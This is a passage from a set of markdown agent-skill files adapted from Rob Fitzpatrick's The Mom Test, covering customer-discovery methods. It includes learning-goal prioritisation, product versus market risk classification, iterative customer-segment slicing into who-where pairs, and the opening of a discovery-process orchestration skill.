- "How do you discover new games? Walk me through the last game you downloaded."
- "Have you ever specifically searched for a game where you could play with friends?"
## Questions You Might Be Avoiding
- "Could I actually build a multiplayer puzzle game that is fun and retains players?" — This is your real risk, and conversations cannot answer it. Start prototyping.
```
---
### Scenario 3: Founder Updating Learning Goals After First Batch
**Trigger:** "I just finished 5 conversations about my invoice factoring tool for freelancers. I learned that freelancers definitely have cash flow problems (validated) and they mostly use spreadsheets to track invoices (validated). But I still don't know if they would trust a third party with their invoices, and I realize I never asked about pricing. What should I focus on next?"
**Process:**
1. Surface risks: Cash flow pain (validated), current tools (validated), trust with financial data (unvalidated), willingness to pay (unvalidated), plus hidden risks — do they invoice enough volume to justify a tool? Are there regulatory issues?
2. Classify: Trust and pricing are market risks. Invoice volume is market risk. Regulatory is mixed.
3. Prioritize top 3 for next batch:
- Goal 1: "Would freelancers trust a third-party service to handle their invoice payments?" (market risk, terrifying — deal-breaker if no)
- Goal 2: "How much money is stuck in late invoices per month, and what would they pay to get it faster?" (market risk, uncomfortable)
- Goal 3: "Do they invoice enough clients per month for factoring to be worthwhile?" (market risk, comfortable)
4. Note that the user explicitly identified they "never asked about pricing" — this was a scary question they avoided in the first batch
**Output (abbreviated):**
```
## Questions You Might Be Avoiding
- "Would you hand over control of your invoices to a service you found online?" — You avoided this in 5 conversations. That avoidance is a signal that this is your scariest and most important question.
- "What would you pay for this?" — You explicitly noted you avoided pricing. Ask about current spending on financial tools first, then explore willingness to pay.
```
## Key Principles
- **The questions you are avoiding are the ones you most need to ask** — Fear of bad news causes founders to ask comfortable questions that feel productive but do not de-risk anything. If you are not terrified of at least one question in every conversation, you are wasting the conversation. The cost of not asking is always higher than the cost of hearing a bad answer. One founder avoided asking lawyers about legal ambiguities and it cost half a million dollars.
- **Product risk and market risk require different validation methods** — When the customer says "If you can build it, I will pay," that is not validation — it is restating the obvious. Customer conversations validate market risk (Do they want it? Will they pay? Are there enough of them?). Product risk (Can I build it? Can I grow it? Will they keep using it?) requires building. Misclassifying your risk type leads to months of conversations that prove things nobody doubted.
- **Start broad before zooming in — always** — Most people have many problems they will happily discuss if you ask about them. Zooming into your specific problem area before confirming it is a top priority creates false validation. The person answers your detailed questions because you asked, not because they care. Start with "What are the big things you are trying to fix right now?" and only zoom in when they raise your area themselves. If they do not mention it unprompted, they probably do not care enough to pay for a solution.
- **Three learning goals is the right number** — Too few and each conversation covers too little ground. Too many and the conversation scatters across topics without going deep on any. Three goals lets you focus while remaining flexible enough to follow interesting threads. After each batch of conversations, drop answered goals and promote the next murkiest unknowns.
- **Lukewarm signals are more reliable than enthusiastic ones** — When someone says "That is pretty neat" or "I am not so sure about that," the instinct is to pitch harder until they say something nice. Resist this. A lukewarm response is perfectly reliable information — this person does not care enough. You cannot build a business on a lukewarm response. The only thing you gain from "convincing" them is a false positive.
## References
- For designing specific questions that pass customer conversation quality rules, use the `conversation-question-designer` skill
- For narrowing broad customer segments into specific, findable who-where pairs, use the `customer-segment-slicer` skill
- For the complete "does-this-problem-matter" diagnostic question set and risk classification details, see [risk-classification-guide.md](references/risk-classification-guide.md)
## License
This skill is licensed under [CC-BY-SA-4.0](https://creativecommons.org/licenses/by-sa/4.0/).
Source: [BookForge](https://github.com/bookforge-ai/bookforge-skills) — The Mom Test by Rob Fitzpatrick.
## Related BookForge Skills
This skill is standalone. Browse more BookForge skills: [bookforge-skills](https://github.com/bookforge-ai/bookforge-skills)
FILE:references/risk-classification-guide.md
# Risk Classification Guide
## Product Risk vs Market Risk
Every business faces risks in two fundamental categories. Correctly classifying your risks determines whether customer conversations are the right validation tool.
### Market Risk
**Definition:** Do they want it? Will they pay? Are there enough of them?
**Examples:**
- SaaS tools solving known pain points
- Services addressing recognized problems
- Products entering established categories with a differentiated approach
**Validation method:** Customer conversations are the primary tool. Ask about current behavior, workarounds, spending, and severity.
**Key signal:** When customers describe their current problem, their workarounds, and what they spend — that is market risk data you can act on.
### Product Risk
**Definition:** Can I build it? Can I grow it? Will they keep using it?
**Examples:**
- Video games (Is it fun? Will people play it repeatedly?)
- Marketplaces needing critical mass (Can you get enough supply AND demand?)
- Platforms needing network effects (Will users invite others?)
- Ad-supported models (Can you get enough traffic?)
- Technically complex products (Can the technology actually work?)
**Validation method:** You need to build something. Conversations can give you a starting point (understanding problem depth, confirming willingness to switch), but the core risk requires a prototype, beta, or proof of concept.
**Key signal:** When customer responses consistently sound like "Yes, if you can actually build/do that, I would definitely pay" — the risk is in the product, not the market. The customer is restating the obvious.
### Detection Test
Ask yourself: "Is the customer telling me something I did not already know, or are they confirming what everyone would say?"
- "Would you like more money?" — Everyone says yes. This validates nothing. Risk is product-side.
- "Would you switch trackers if something cheaper and more effective was available?" — Same as asking if they want more money. Obvious yes.
- "Would you pay if you could send customers on demand to your bar?" — Bars obviously want more customers. The risk is whether you can amass a consumer audience.
### Mixed Risk Situations
Most businesses have both types. Do not overlook either one.
**Farm fertility monitor example:** The founder spent 3 months on customer conversations asking farmers if they would switch to a better tracker. Farmers said "If you can build what you say, I will equip my whole herd." This sounded like validation but was actually product risk restated as enthusiasm. The real question: Can you build hardware that works reliably on farms?
**Nightclub app example:** Founders validated that bar owners want more customers (obvious) and consumers like cheap drinks (obvious). But the real risk — amassing enough users on both sides of the marketplace — was never tested through conversations.
## "Does-This-Problem-Matter" Diagnostic Questions
Use these questions to verify that a problem area is genuinely important to the person before zooming into details:
1. "How seriously do you take [area]?"
2. "Do you make money from it?"
3. "Have you tried making more money from it?"
4. "How much time do you spend on it each week?"
5. "Do you have any major aspirations for [area]?"
6. "Which tools and services do you use for it?"
7. "What are you already doing to improve this?"
8. "What are the 3 big things you are trying to fix or improve right now?"
These questions are generic by design. They give signals you can anchor on and dig around. The bulk of them are about finding out whether the person is taking this space seriously — are they spending money or making money? Is it in their top 3? Are they actively looking for solutions?
## Pre-Meeting Risk Discovery Questions
Two questions to unearth hidden risks before conversations:
1. **"If this company were to fail, why would it have happened?"** — Forces you to enumerate all failure modes, not just the one you find most interesting.
2. **"What would have to be true for this to be a huge success?"** — Surfaces the necessary conditions that you might be taking for granted.
These questions come from strategic planning (Lafley and Martin) and are useful both for the founding team during preparation and for guiding which risks to prioritize in conversations.
## The Premature Zoom Problem
### What It Is
Asking detailed questions about a specific problem area before confirming that area actually matters to the person. This creates data that looks like validation but is worthless.
### Why It Happens
Most people have lots of problems they do not actually care enough about to fix, but which they will happily tell you the details of if you ask. When you zoom in on your area immediately, you get detailed answers — not because the problem matters, but because you asked.
### How to Detect It
- Would the customer have raised this topic on their own?
- Are you assuming this problem area is important, or has the customer demonstrated importance through their behavior?
- If you asked "What are the 3 big things you are trying to fix right now?", would your area make their list?
### How to Fix It
Start broad: "What are your big goals and focuses right now?" Only zoom into your specific area when the customer independently raises it. If they do not mention it, it is probably not a top priority — and that is reliable, actionable information.
### The Fitness App Example
**Bad conversation:** Asks a non-exerciser about gym problems. Gets a ranking of fitness priorities. Concludes "we got a user!" — but the person never exercises and will never use the app.
**Good conversation:** Asks about life goals broadly. Fitness does not make the list. Conclusion: this person is not a customer. Moves on to find people who actually care about fitness enough to act on it.
The premature zoom is dangerous because if you are not paying attention, the bad conversation seems like it went well. You got detailed answers. You "validated" a problem. But you just led them there.
Iteratively narrow broad customer segments into specific, findable sub-segments with who-where pairs. Use this skill whenever the user's target market is too...
---
name: customer-segment-slicer
description: Iteratively narrow broad customer segments into specific, findable sub-segments with who-where pairs. Use this skill whenever the user's target market is too broad, their customer definition is vague or generic ("small businesses," "students," "anyone who..."), they are getting mixed or inconsistent feedback from customer conversations that does not converge, they do not know who to talk to first, everyone seems like a potential customer, they need to decide which customer segment to pursue first, they are overwhelmed by too many potential customer types, they want to know who their ideal early customer is, they cannot figure out who to build for, they ask "who should I talk to" or "how do I narrow down my audience" — even if they don't explicitly say "segmentation" or "customer slicing." Do NOT use for finding or reaching customers (use conversation-sourcing-planner) or designing interview questions (use conversation-question-designer).
version: 1.0.0
homepage: https://github.com/bookforge-ai/bookforge-skills/tree/main/books/the-mom-test/skills/customer-segment-slicer
metadata: {"openclaw":{"emoji":"📚","homepage":"https://github.com/bookforge-ai/bookforge-skills"}}
status: verified
source-books:
- id: the-mom-test
title: "The Mom Test"
authors: ["Rob Fitzpatrick"]
chapters: [10]
tags: [customer-discovery, segmentation, targeting, customer-slicing, who-where-pair]
depends-on: []
execution:
tier: 1
mode: hybrid
inputs:
- type: product-idea
description: "Description of the business idea and the problem it solves"
- type: initial-customer-hypothesis
description: "The user's current best guess at who their customer is"
tools-required: [Read, Write]
tools-optional: []
mcps-required: []
environment: "Any agent environment. Operates on text documents describing a product idea and customer hypotheses."
---
# Customer Segment Slicer
## When to Use
You are in a situation where the user has a product idea but their customer definition is too broad to act on. Typical triggers:
- The user describes their customer as a large, generic group ("small businesses," "students," "advertisers," "anyone who...")
- The user is getting mixed or inconsistent feedback from customer conversations and cannot make sense of it
- The user feels overwhelmed by options and does not know where to start talking to people
- The user cannot prove their idea right or wrong because every conversation "sort of" works
- The user is about to begin customer discovery and needs to pick a starting segment
- The user has talked to many people but learnings are not converging
Before starting, verify:
- Does the user have at least a rough product idea or problem hypothesis? (If not, help them articulate one first)
- Is the user's current customer definition genuinely broad? (If they already have a specific who-where pair, they may not need slicing — ask about their conversation results to confirm)
## Context & Input Gathering
### Required Context (must have before proceeding)
- **Product idea or problem hypothesis:** What is the user building or planning to build? What problem does it solve? Ask the user if not stated.
- **Initial customer hypothesis:** Who does the user currently think their customer is? Accept even vague answers — that is the starting point for slicing.
### Helpful Context (gather if available)
- **Conversation history:** Has the user already talked to potential customers? What patterns or inconsistencies emerged?
- **Known customer types:** Does the user already recognize different sub-groups within their broad segment?
- **Existing workarounds:** Are potential customers already solving this problem somehow? How?
- **Business constraints:** Are there markets the user cannot serve (geography, regulation, resources)?
### Default Assumptions
- If no conversation history exists, treat this as pre-conversation segmentation (the user needs a starting segment before beginning customer discovery)
- If the user cannot articulate sub-groups, guide them through the slicing questions to surface them
- If no business constraints are mentioned, assume the user is open to any viable segment
## Process
### Step 1: Diagnose Whether the Current Segment Is Too Broad
**ACTION:** Evaluate the user's current customer definition against three symptoms of a too-broad segment.
**WHY:** Most founders do not realize their segment is too broad until they are already drowning in mixed signals. Startups do not starve from too few options — they drown from too many. Diagnosing this early prevents wasted conversations. If you start too generic, your marketing is watered down, you suffer feature creep, and you cannot prove yourself right or wrong because there is always someone who "sort of" likes each feature.
Check for these three symptoms:
1. **Overwhelm paralysis** — The user is overwhelmed by options and does not know where to start
2. **Unfalsifiability** — The user is not moving forward but cannot prove themselves wrong (everything "sort of" works, every feature has someone who likes it)
3. **Mixed signals** — The user receives inconsistent feedback that does not make sense (20 conversations yielding 20 different must-have features and 20 different problems)
**IF** the user shows none of these symptoms AND has a specific, findable segment → they may not need slicing. Confirm by asking: "Can you tell me exactly where you would go to find 10 of these people this week?"
**IF** the user shows one or more symptoms → proceed to Step 2.
### Step 2: Run the Slicing Questions (Iterative)
**ACTION:** Take the user's broad segment and repeatedly apply the six slicing questions to break it into specific sub-segments. This is a recursive process — keep slicing until you reach groups that are concrete enough to find and talk to.
**WHY:** A broad segment like "students" hides enormous diversity. A PhD researcher, a prep school teenager, a homeschooling parent, a child in a rural Indian village, and a student in Africa using a cellphone are all "students" — but they have completely different needs, budgets, and behaviors. You are not having 20 conversations with your customers when your segment is too broad. You are having one conversation each with 20 different types of customers. That is why feedback is inconsistent.
Apply these six questions to the current segment, one at a time:
1. **"Within this group, which type of person would want this most?"** — Identifies the highest-urgency sub-group
2. **"Would everyone in this group buy or use it, or only some of them?"** — Forces the user to acknowledge internal diversity
3. **"Why do they want it? What is their specific problem or goal?"** — Surfaces the underlying motivation
4. **"Does everyone in the group have that motivation, or only some?"** — Tests whether the motivation is universal or segment-specific
5. **"What additional motivations exist?"** — Uncovers parallel reasons different sub-groups might want the product
6. **"Which other types of people have these motivations?"** — Expands the candidate list beyond the original demographic framing
**OUTPUT from this step:** Two lists emerge:
- A list of **specific demographic sub-groups** (e.g., "non-native-speaking PhD students with upcoming conference talks")
- A list of **motivations** (e.g., "nervous about a specific upcoming event," "want to improve as a long-term skill," "need to fix accent issues")
**IF** any sub-groups are still generic → go back through them and repeat the slicing questions. Keep asking "within THAT sub-group, who wants it most?" until you reach people you can picture concretely.
### Step 3: Map Behaviors and Workarounds
**ACTION:** For each sliced sub-group, identify what they are already doing to solve the problem and where they congregate.
**WHY:** Demographics tell you WHO someone is. Behaviors tell you WHERE to find them and HOW serious they are about the problem. Someone who is already spending time and money on workarounds is a far stronger prospect than someone who merely has the problem. Behaviors also reveal natural gathering points where you can find these people efficiently.
Ask these three questions for each sub-group:
1. **"What are these people already doing to achieve their goal or cope with their problem?"** — Reveals existing workarounds and competing solutions
2. **"Where can we find people in this demographic group?"** — Identifies physical and online gathering points
3. **"Where can we find people doing these workaround behaviors?"** — Often different from demographic gathering points and frequently more valuable (someone actively searching for solutions is higher-intent than someone who merely fits a demographic)
**IF** a sub-group is un-findable (you cannot articulate where to find them) → that segment is not actionable. Go back and slice further until you can answer the "where" question.
### Step 4: Construct Who-Where Pairs
**ACTION:** Combine each viable sub-group with its best finding location to create who-where pairs.
**WHY:** A customer segment is only useful if it is both specific (who) and findable (where). "Moms who want healthy alternatives for kids" is a who without a where. "Moms shopping at independent health food stores" is a who-where pair you can act on today. If you do not know where to find your customers, keep slicing your segment into smaller pieces until you do.
Format each pair as:
```
WHO: [specific demographic + motivation]
WHERE: [concrete location, community, channel, or behavior-based finding method]
```
Generate 3-5 who-where pairs from the slicing analysis. Include both demographic-based locations and behavior-based locations where possible.
### Step 5: Check for Wrong-Audience Traps
**ACTION:** Review the who-where pairs for three common targeting failures before scoring.
**WHY:** Even with good slicing, founders can still talk to the wrong people. Catching these traps before you invest in conversations prevents wasted effort and misleading data.
Check for:
1. **Too-broad segment surviving** — Did any who-where pair remain vaguely defined? Test: "If I talked to 5 random people from this group, would they have the same core problem and goal?" If not, slice further.
2. **Missing customer segments** — Does the product involve multiple sides (marketplace, platform) or require buy-in from someone other than the end user? If you are building an app for children, you must also understand parents. If you are building for public schools, you could be affected by teachers, students, administration, parent-teacher associations, and taxpayers. List ALL segments that need validation.
3. **Overlooked stakeholders in complex buying** — In B2B or institutional sales, the user is rarely the buyer. Identify manufacturing partners, distribution partners, IT decision-makers, procurement, or other influencers who could block the sale. Also consider: are you talking to representative customers, or just impressive-sounding ones? Talking to senior executives when your actual user is a frontline worker will give you misleading data.
### Step 6: Score and Select the Starting Segment
**ACTION:** Evaluate each who-where pair against three selection criteria and recommend where to start.
**WHY:** You cannot pursue all segments simultaneously — that is how you end up drowning again. Choosing one starting segment lets you run focused conversations where learnings compound. You can always broaden later. The goal is to quickly get to a specific, best-possible customer so you can grab a few conversations and start making real progress.
Score each who-where pair on three criteria:
| Criteria | Question to Answer | Scoring Guidance |
|----------|-------------------|------------------|
| **Profitable** | Can this group pay? Is the problem painful enough that they would spend money to solve it? | HIGH = already spending money on workarounds. MEDIUM = have budget, problem is real but not urgent. LOW = no budget or problem is a nice-to-have. |
| **Reachable** | Can you actually get to these people within the next 2 weeks? | HIGH = you know exactly where to find them and can reach 5+ this week. MEDIUM = you can find them but it requires effort or introductions. LOW = you have no clear path to reaching them. |
| **Rewarding** | Would you enjoy building a business around these people? | HIGH = you find this group interesting and would enjoy spending years in their world. MEDIUM = neutral. LOW = you would dread working with them daily. |
**WHY these three criteria matter:**
- **Profitable** ensures you are not building for people who will never pay
- **Reachable** ensures you can actually run conversations (a perfect segment you cannot reach is useless)
- **Rewarding** ensures sustainability — customer discovery is hard work and can be a real grind if you are cynical about the people or the industry you are trying to understand and serve
**RECOMMEND** the who-where pair with the strongest combination across all three criteria. If there is a tie, favor reachability — you need conversations before you can learn anything else.
### Step 7: Produce the Segment Analysis Document
**ACTION:** Write the complete analysis to a file the user can reference and update.
**WHY:** This document becomes the foundation for all subsequent customer discovery activities — it determines who to talk to, where to find them, and what to learn. It should be a living document that gets updated as conversations reveal new information.
Write the output file with this structure:
```markdown
# Customer Segment Analysis: {Product/Idea Name}
## Product Hypothesis
{Brief description of the product idea and the problem it solves}
## Initial Segment (Before Slicing)
{The user's original broad customer definition}
## Too-Broad Diagnosis
{Which symptoms were present and evidence for each}
## Slicing Results
### Sub-Groups Identified
{Numbered list of specific demographic sub-groups discovered through slicing}
### Motivations Identified
{Numbered list of distinct motivations/problems/goals surfaced}
### Behaviors and Workarounds
{For each sub-group: what they currently do to solve the problem}
## Who-Where Pairs
### Pair 1: {Name}
- **WHO:** {specific demographic + motivation}
- **WHERE:** {concrete finding location}
- **Workaround behavior:** {what they currently do}
- **Profitable:** {HIGH/MEDIUM/LOW} — {reasoning}
- **Reachable:** {HIGH/MEDIUM/LOW} — {reasoning}
- **Rewarding:** {HIGH/MEDIUM/LOW} — {reasoning}
### Pair 2: {Name}
{Same format}
### Pair 3: {Name}
{Same format}
## Wrong-Audience Check
- [ ] No surviving too-broad segments
- [ ] All customer sides identified (if multi-sided)
- [ ] All stakeholders in buying process identified (if B2B/institutional)
- [ ] Talking to representative customers, not just impressive ones
## Recommended Starting Segment
**{Who-where pair name}** — chosen because {justification referencing the three criteria}
## Next Steps
1. Find 3-5 people from this segment within the next {timeframe}
2. Prepare 3 learning goals for initial conversations (see `conversation-sourcing-planner` for finding approaches, `question-importance-prioritizer` for choosing what to learn)
3. After 3-5 conversations, check: are problems and goals consistent? If yes, continue. If mixed, slice further.
## Revision Log
| Date | Change | Trigger |
|------|--------|---------|
| {today} | Initial analysis | First segmentation exercise |
```
Save to `customer-segments.md` in the user's working directory (or the path they specify).
## Examples
### Example 1: Powdered Superfood Condiment
**Scenario:** A founder has developed an all-natural powdered condiment — sweet like cinnamon brown sugar but packed with multivitamin nutrition. She says "it has countless uses" and her customer segment is "health-conscious people."
**Trigger:** The founder cannot make progress because bodybuilders want it for protein shakes, restaurants want it as a healthy sugar alternative on tables, and moms want to trick kids into eating healthy. Every group wants different things. She does not know where to start.
**Process:**
1. Diagnosed too-broad: all three symptoms present (overwhelmed by conflicting needs, cannot prove any direction right or wrong, each group wants different packaging/marketing/pricing)
2. Slicing questions surfaced three sub-groups with distinct motivations: bodybuilders (performance nutrition), restaurant owners (menu differentiation), moms (stealth nutrition for children)
3. Behavior mapping: moms already shop at health food stores, already buy organic alternatives, already read nutrition labels. Bodybuilders already buy supplements online. Restaurant owners already source specialty ingredients from distributors.
4. Who-where pairs: (a) Moms at independent health food stores, (b) Bodybuilders in supplement forums, (c) Restaurant owners via food distributor reps
5. Scoring: Moms at health food stores scored highest — profitable (already spending on healthy alternatives), reachable (the stores ARE the finding location AND a distribution partner), rewarding (founder is a mom herself)
**Output:** Recommended starting with moms at independent health food stores. The stores serve double duty — they are where you find the customers AND a potential distribution channel. Proposed commitment test: ask store owners to place a few bottles beside breakfast foods, return in one week to check results. This cuts through opinions by asking for a concrete commitment (shelf space) rather than collecting compliments.
### Example 2: Public Speaking Practice App
**Scenario:** A team has built a product for "students who want to become more confident speakers." After 20 conversations, they have 20 different must-have features and cannot figure out what to build first.
**Trigger:** Feedback is absurdly inconsistent. One user wants formal citations, another wants practice questions, a third needs iPad support, a fourth needs 80 students on one computer, another needs offline mode. The team's soul feels like it is being forced through a colander.
**Process:**
1. Diagnosed too-broad: primary symptom is mixed signals. "Students" hides at least five completely different customer types — PhD researchers, prep school teens, homeschooling parents, children in Indian rural villages sharing one computer, African students on cellphones. The team was having one conversation each with 20 different types of customers, not 20 conversations with their customers.
2. Slicing on motivation: "nervous about a specific upcoming high-stakes event" vs "want to improve speaking as a long-term skill" vs "need to fix language/accent issues." The first motivation is the most urgent — people with a specific event have a deadline and high emotional stakes.
3. Further slicing within "nervous about upcoming event": graduating students (first job interview), first-time TV/radio guests, wedding speakers, new authors on book tour, non-native-speaking PhD students with a conference talk.
4. Behavior mapping: people scared of speaking who are actively trying to improve — they Google for tips, attend workshops, go to Toastmasters meetups, listen to speaking podcasts. Those who just feel anxious and avoid it are NOT the customer (no active solution-seeking behavior).
5. Who-where pairs: (a) Non-native PhD students at university admissions offices and department advisors, (b) Nervous wedding speakers Googling "great wedding speech examples," (c) New authors on book tour found via Amazon upcoming release lists, (d) Active Toastmasters members at local meetups
6. Scoring: Toastmasters members scored highest on reachability (can attend a meetup this week and have a dozen conversations in one evening). PhD students scored highest on profitability (institutional budgets, high stakes). Team chose Toastmasters as starting point for accessibility — a single evening could yield enough conversations to validate the core problem.
**Output:** Recommended shifting segment from "students" to "people scared of public speaking who are actively trying to get better." Starting point: attend a Toastmasters meetup. One evening provides understanding of motivations, worldview, and needs of a large group of ideal customers who are already spending time and money to improve.
### Example 3: B2B Advertising Platform
**Scenario:** A founder's customer segment is "advertisers." He has talked to mom-and-pop shops, e-tailers, big brands, creative agencies, SMEs, and music labels. Everything sort of works. Some talk about paying $10,000 per month, others scoff at $10.
**Trigger:** The team cannot cut any features because every feature is someone's favorite. Every debate over a new feature can be won by claiming "well, those guys would love it." The reverse argument prevents removing any feature. They can prove themselves neither right nor wrong.
**Process:**
1. Diagnosed too-broad: classic unfalsifiability symptom — making a so-so product for a bunch of audiences instead of an incredible product for one
2. Slicing revealed that "advertisers" contains sub-groups with fundamentally different budgets ($10 vs $10,000/month), different needs (self-serve vs managed), different constraints (brand safety vs scrappiness), and different goals (awareness vs direct response)
3. Reviewed existing conversation data for signal strength: noticed unusually strong enthusiasm from creative agencies who wanted to be edgy — they leaned forward, asked detailed follow-up questions, and offered to connect the team with other agencies
4. Who-where pairs: (a) Creative agencies at advertising industry meetups, (b) E-commerce stores in Shopify app marketplace, (c) SMEs through local business associations
5. Scoring: Creative agencies scored highest — profitable (agency budgets), reachable (clustered in industry events and online communities), rewarding (the team found their energy exciting)
**Output:** Recommended narrowing from "advertisers" to "creative agencies who want to be edgy." Cut features that only served other segment types. Finally able to get clear signal on what worked and what did not, because all feedback came from a consistent customer type.
## Key Principles
- **Good customer segments are a who-where pair** — A segment definition is incomplete until you can name both WHO the customer is AND WHERE to find them. If you cannot answer "where would I go this week to find 5 of these people?", keep slicing into smaller pieces until you can. A customer segment you cannot find is a customer segment you cannot learn from.
- **Before you can serve everyone, you have to serve someone** — Google started with PhD students finding obscure code. eBay started with Pez dispenser collectors. Evernote started with moms saving recipes. These companies serve the whole world now, but they did not start there. Starting broad waters down everything — your marketing, your features, your conversations. Get specific first, then broaden from a position of strength.
- **Inconsistent feedback is a segmentation problem, not a product problem** — When 20 conversations yield 20 different must-have features, the instinct is to think the product is wrong. Usually, the segment is wrong. You are not having 20 conversations with your customers — you are having one conversation each with 20 different types of customers. Slice the segment until feedback converges.
- **Behaviors reveal more than demographics** — Demographics tell you who someone is on paper. Behaviors tell you how serious they are about the problem. Someone who is already spending time and money on workarounds (attending workshops, buying tools, cobbling together spreadsheets) is a vastly stronger prospect than someone who merely fits the demographic profile but ignores the problem. Target behaviors, then trace back to demographics.
- **Choose your starting segment, not your forever segment** — Picking a segment to start with is not a permanent commitment. It is the fastest way to stop drowning and start learning. You can always broaden later once you have validated the core problem and built momentum. The three criteria (profitable, reachable, rewarding) optimize for learning speed and founder sustainability, not total addressable market.
## References
- **Cross-skill dependencies:** After slicing produces a starting segment, use `conversation-sourcing-planner` to find conversations with that segment, and `question-importance-prioritizer` to decide what to learn from them.
- **Segment validation signal:** If after 3-5 focused conversations you are still getting inconsistent problems and goals, your segment is not specific enough yet — return to this skill and slice further. If feedback converges within 3-5 conversations, your segment is well-defined.
- **Slicing questions quick reference:** See [references/slicing-questions.md](references/slicing-questions.md) for the complete question set formatted as a standalone reference card.
## License
This skill is licensed under [CC-BY-SA-4.0](https://creativecommons.org/licenses/by-sa/4.0/).
Source: [BookForge](https://github.com/bookforge-ai/bookforge-skills) — The Mom Test by Rob Fitzpatrick.
## Related BookForge Skills
This skill is standalone. Browse more BookForge skills: [bookforge-skills](https://github.com/bookforge-ai/bookforge-skills)
FILE:references/slicing-questions.md
# Customer Slicing Questions — Quick Reference
## Too-Broad Segment Diagnostic
Check for these three symptoms. If one or more is present, your segment needs slicing:
1. **Overwhelm paralysis** — You are overwhelmed by options and do not know where to start
2. **Unfalsifiability** — You are not moving forward but cannot prove yourself wrong
3. **Mixed signals** — You receive incredibly mixed feedback and cannot make sense of it
## Slicing Questions (Apply Iteratively)
Start with your broad segment. Ask these questions. Then take the most promising sub-group and ask them again. Repeat until you reach people you can picture concretely.
### Phase 1: Demographics and Motivations
1. Within this group, which type of person would want this most?
2. Would everyone in this group buy or use it, or only some of them?
3. Why do they want it? What is their specific problem or goal?
4. Does everyone in the group have that motivation, or only some?
5. What additional motivations are there?
6. Which other types of people have these motivations?
### Phase 2: Behaviors and Findability
7. What are these people already doing to achieve their goal or cope with their problem?
8. Where can we find our demographic groups?
9. Where can we find people doing the above workaround behaviors?
### Phase 3: Findability Check
Are any of these groups un-findable? If so, go back and slice them into finer pieces until you know where to find them.
## Selection Criteria
Choose your starting segment based on who seems most:
1. **Profitable** — Can they pay? Are they already spending money on workarounds?
2. **Reachable** — Can you find and talk to 5 of them within the next two weeks?
3. **Rewarding** — Would you enjoy building a business around these people?
## Who-Where Pair Format
A complete segment definition always has both components:
- **WHO:** Specific demographic + specific motivation
- **WHERE:** Concrete location, community, or channel where you can find them
If you have a WHO without a WHERE, keep slicing.
## Wrong-Audience Traps
Three ways to end up talking to the wrong people:
1. **Segment still too broad** — You are talking to everyone and getting mixed signals
2. **Missing customer segments** — Multi-sided products, apps for children (parents must also buy in), platforms needing multiple stakeholder types
3. **Overlooked stakeholders** — In B2B or institutional sales: teachers, admin, procurement, IT, partners for manufacturing, distribution, or promotion
Also: talk to representative customers, not just impressive-sounding ones.
Orchestrate the full customer discovery process — before, during, and after customer conversations — to systematically validate a business idea. This is the...
---
name: customer-discovery-process
description: Orchestrate the full customer discovery process — before, during, and after customer conversations — to systematically validate a business idea. This is the hub skill that sequences all other customer-discovery skills. Use this skill whenever the user wants to run customer discovery end-to-end, needs a step-by-step process for validating a product idea through customer conversations, wants to start customer discovery from scratch, wants to know what to do before and after customer meetings, needs a discovery status dashboard showing validation progress, suspects their discovery process is broken or unproductive, wants to diagnose whether they are just going through the motions, needs a customer development or lean validation framework, or asks "how do I validate my idea," "what's the full process for talking to customers," or "what should I do next in customer discovery" — even if they don't explicitly mention "discovery process." Do NOT use for writing specific interview questions (use conversation-question-designer), narrowing a customer segment (use customer-segment-slicer), or analyzing a single conversation transcript (use conversation-data-quality-analyzer).
version: 1.0.0
homepage: https://github.com/bookforge-ai/bookforge-skills/tree/main/books/the-mom-test/skills/customer-discovery-process
metadata: {"openclaw":{"emoji":"📚","homepage":"https://github.com/bookforge-ai/bookforge-skills"}}
status: verified
source-books:
- id: the-mom-test
title: "The Mom Test"
authors: ["Rob Fitzpatrick"]
chapters: [12]
tags: [customer-discovery, validation-process, orchestration, discovery-dashboard, before-during-after]
depends-on:
- conversation-question-designer
- conversation-data-quality-analyzer
- commitment-signal-evaluator
- customer-segment-slicer
- conversation-learning-process
- conversation-sourcing-planner
- conversation-format-selector
- question-importance-prioritizer
execution:
tier: 1
mode: hybrid
inputs:
- type: document
description: "Product idea description, current validation stage, and any existing conversation notes or learning logs"
tools-required: [Read, Write]
tools-optional: []
mcps-required: []
environment: "Any agent environment with file read/write access."
---
# Customer Discovery Process
## When to Use
You need to run a structured customer discovery process to validate a business idea through real conversations. This is the hub skill — it orchestrates the full before/during/after workflow and delegates specialized work to sibling skills. Typical situations:
- The user has an idea and wants a systematic plan for validating it through customer conversations
- The user is partway through discovery and needs to assess progress and decide next steps
- The user suspects their discovery process is broken — lots of meetings but no real learning
- The user wants to set up discovery from scratch and does not know where to start
- The user asks "what should I do next?" after a batch of conversations
**Mode: Hybrid** — The agent orchestrates the process, produces the discovery dashboard, and delegates to specialized skills. The human conducts the actual conversations.
## Context & Input Gathering
### Required Context (must have — ask if missing)
- **Product idea or problem hypothesis:** What is the user building or exploring? A sentence is enough.
-> Check prompt for: product descriptions, problem statements, startup ideas
-> Check environment for: `product-idea.md`, `README.md`
-> If still missing, ask: "What product or problem are you exploring? A sentence or two is enough to get started."
- **Current validation stage:** Where is the user in their discovery process?
-> Check prompt for: "just starting," "have done N conversations," "getting mixed feedback," stage indicators
-> Check environment for: `learning-log.md`, `conversation-notes/`, `customer-segments.md`
-> If still missing, ask: "Where are you in customer discovery? (a) Have not started yet, (b) Have done a few conversations, (c) Have done many conversations but feel stuck"
### Observable Context (gather from environment)
- **Existing discovery artifacts:** Check for files that reveal what has already been done.
-> Look for: `customer-segments.md`, `question-script.md`, `learning-log.md`, `outreach-plan.md`, `commitment-tracker.md`, `conversation-notes/`
-> If found: assess which process steps are complete and which are pending
- **Team context:** Is this a solo founder or a team?
-> Look for: mentions of co-founders, team members
-> If unavailable: assume solo founder
### Default Assumptions
- If no stage specified -> assume the user is starting from scratch
- If no team mentioned -> assume solo founder (but flag the importance of having a review partner)
- If no prior conversations -> begin at the BEFORE phase
### Sufficiency Threshold
```
SUFFICIENT when ALL of these are true:
- Product idea or problem area is known
- Current validation stage is known or can be inferred from environment
PROCEED WITH DEFAULTS when:
- Product idea is approximate ("something for freelancers")
- Stage is vague ("I've talked to a few people")
MUST ASK when:
- No product idea or problem area at all
```
## Process
### Step 1: Assess Current Discovery State
**ACTION:** Determine where the user is in the discovery process by checking for existing artifacts and conversation history. Run the going-through-the-motions diagnostic if they have already started.
**WHY:** The discovery process is not linear — users enter at different points and may need to loop back. Assessing state prevents repeating completed work and identifies the highest-impact next step. Many users who "feel stuck" are actually going through the motions without real learning, and diagnosing this early saves weeks of wasted conversations.
**Going-through-the-motions diagnostic — check for these 9 warning signs:**
1. You are talking more than the customer is
